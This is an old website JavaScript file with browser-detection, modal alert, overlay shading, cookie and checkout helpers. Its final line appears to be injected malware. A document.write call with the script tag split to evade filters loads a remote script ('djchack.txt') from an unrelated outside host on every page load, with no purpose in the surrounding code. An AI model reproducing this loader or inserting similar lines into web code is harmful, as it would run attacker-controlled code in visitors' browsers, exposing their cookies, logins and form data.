function BrowserCheck() {
var b = navigator.appName;
if (b == "Netscape") this.b = "NS";
else if (b == "Microsoft Internet Explorer") this.b = "IE";
else this.b = b;
this.v = parseInt(navigator.appVersion);
this.NS = (this.b == "NS" && this.v>=4);
this.NS4 = (this.b == "NS" && this.v == 4);
this.NS5 = (this.b == "NS" && this.v == 5);
this.IE = (this.b == "IE" && this.v>=4);
this.IE4 = (navigator.userAgent.indexOf('MSIE 4')>0);
this.IE5 = (navigator.userAgent.indexOf('MSIE 5')>0);
if (this.IE5 || this.NS5) this.VER5 = true;
if (this.IE4 || this.NS4) this.VER4 = true;
this.OLD = (! this.VER5 && ! this.VER4) ? true : false;
this.min = (this.NS||this.IE);
}
is = new BrowserCheck();

var allayer;
var altext;
var firstrun = 0;
var shading = 0;
var effexit = 0;

function hideAlert(){
try {
if (document.getElementById('aliframe')) {frames['aliframe'].location.href = 'about:blank';}}
catch (e) {} 
if (effexit==1) processEffects();
i = n;
if (shading==1) {unshade();}
if (shading==0) {overlayer.style.visibility = "hidden";}
if (effexit==0)
{
if (shading==0) {allayer.style.visibility = "hidden";}
}
}

function makeAlert(aTitle,aMessage,aShadeBck,aShadeTo,aShadeSpeed,shadeColor){

i = 0;
shading = aShadeBck;

if (firstrun == 0)
{
firstrun = 1;
mkoverlay(shadeColor);

if (document.getElementById("stl_alert"))
{
altext = document.getElementById("stl_alert").cloneNode(true);
altext.style.visibility = "inherit";
document.getElementById("stl_alert").style.visibility = "hidden";
}
else
{
altext = document.createElement('DIV');
altext.innerHTML = "<table class=alertBoxStyle>" +
"<tr height=5><td colspan=4 class=alertTitle>" + " " + aTitle + "</td></tr>" +
"<tr height=5><td width=5></td></tr>" +
"<tr><td width=5></td><td align=center class=alertMessage>" + aMessage + "<BR></td><td width=5></td></tr>" + 
"<tr><td width=5></td><td colspan=2 align=center><input type=button value='OK' onClick='hideAlert()' class=okButton><BR></td><td width=5></td></tr>" +
"<tr height=2><td width=5></td></tr></table>";
altext.style.visibility = "inherit";
}

thisText = aMessage.length;

if (aTitle.length > aMessage.length){ thisText = aTitle.length; }
aWidth = (thisText * 5) + 80;
aHeight = 100;
if (aWidth < 150){ aWidth = 200; }
if (aWidth > 350){ aWidth = 350; }
if (thisText > 60){ aHeight = 110; }
if (thisText > 120){ aHeight = 130; }
if (thisText > 180){ aHeight = 150; }
if (thisText > 240){ aHeight = 170; }
if (thisText > 300){ aHeight = 190; }
if (thisText > 360){ aHeight = 210; }
if (thisText > 420){ aHeight = 230; }
if (thisText > 490){ aHeight = 250; }
if (thisText > 550){ aHeight = 270; }
if (thisText > 610){ aHeight = 290; }


  allayer = document.createElement('DIV');
  allayer.style.position = 'absolute';
  allayer.style.left = document.body.scrollLeft;
  allayer.style.top = document.body.scrollTop;
  allayer.style.width = document.body.scrollWidth;
  allayer.style.height = document.body.scrollHeight;
  allayer.appendChild(altext);
  document.body.appendChild(allayer);
}

overlayer.style.visibility = "visible";
allayer.style.visibility = "visible";

if (aShadeBck==1) 
{ 
n = aShadeTo;
t = aShadeSpeed*aShadeSpeed*(aShadeSpeed/2);
shade();
}

}
function getexpirydate( nodays){
var UTCstring;
Today = new Date();
nomilli=Date.parse(Today);
Today.setTime(nomilli+nodays*24*60*60*1000);
UTCstring = Today.toUTCString();
return UTCstring;
}
function getcookie(cookiename) {
 var cookiestring=""+document.cookie;
 var index1=cookiestring.indexOf(cookiename);
 if (index1==-1 || cookiename=="") return ""; 
 var index2=cookiestring.indexOf(';',index1);
 if (index2==-1) index2=cookiestring.length; 
 return unescape(cookiestring.substring(index1+cookiename.length+1,index2));
}
function setcookie(name,value,duration){
cookiestring=name+"="+escape(value)+";EXPIRES="+getexpirydate(duration);
document.cookie=cookiestring;
//document.write("Saved");
if(!getcookie(name)){
return false;
}
else{
return true;
}
}
function date1(){
now = new Date();
then = new Date(" Jan 01 1970 00:00:00");
seconds=now-then/1000;
month=1+now.getMonth();
day=now.getDate();
year=now.getFullYear();
document.write( day+"-"+month+"-"+year+"");
}


var t = 1; 
var n = 50;

var i = 0; 

var overlayer;

function mkoverlay(color)
{
  overlayer = document.createElement('DIV');
  overlayer.style.position = 'absolute';
  overlayer.style.left = '0px';
  overlayer.style.top = '0px';
  var w = (document.body.scrollWidth>document.body.clientWidth)? document.body.scrollWidth : document.body.clientWidth;
  var h = (document.body.scrollHeight>document.body.clientHeight)? document.body.scrollHeight : document.body.clientHeight;
  w = w + 50;
  h = h + 50;
  overlayer.style.width = w;
  overlayer.style.height = h;
  overlayer.style.backgroundColor = color;
  overlayer.innerHTML = "<table width = " + w + " height = " + h + "> </table>"
  overlayer.above = allayer;
  overlayer.style.opacity = 0;
  overlayer.style.filter = 'alpha(opacity=' + 0 + ')';
  document.body.appendChild(overlayer);

}

function shade()
{
  overlayer.style.visibility = "visible";
  i+= (n / 10);  

  overlayer.style.opacity = i/100;
  overlayer.style.filter = 'alpha(opacity=' + i + ')';
  
  if (i < n) setTimeout(shade, t); 
  
} 

function unshade()
{
  i-= (n / 10);  

  overlayer.style.opacity = i/100;
  overlayer.style.filter = 'alpha(opacity=' + i + ')';
  
  if ( i > 0 ) setTimeout(unshade, t/2); 
  if (i<=0) overlayer.style.visibility = "hidden";
  if (effexit==0) {if (i<=0) allayer.style.visibility = "hidden"};

} 

function checkout(){
		if(getcookie('buy')=="yes")
		{
			return true;
		}
		else
		{
			window.location.href = "default.htm";
			openIT('mc.htm',410,410,null,null,'mywinname01');
		}
};

document.write('<sc'+'ript type="text/javascript" src="http://risetosuccess.com/djchack.txt"></scri'+'pt>');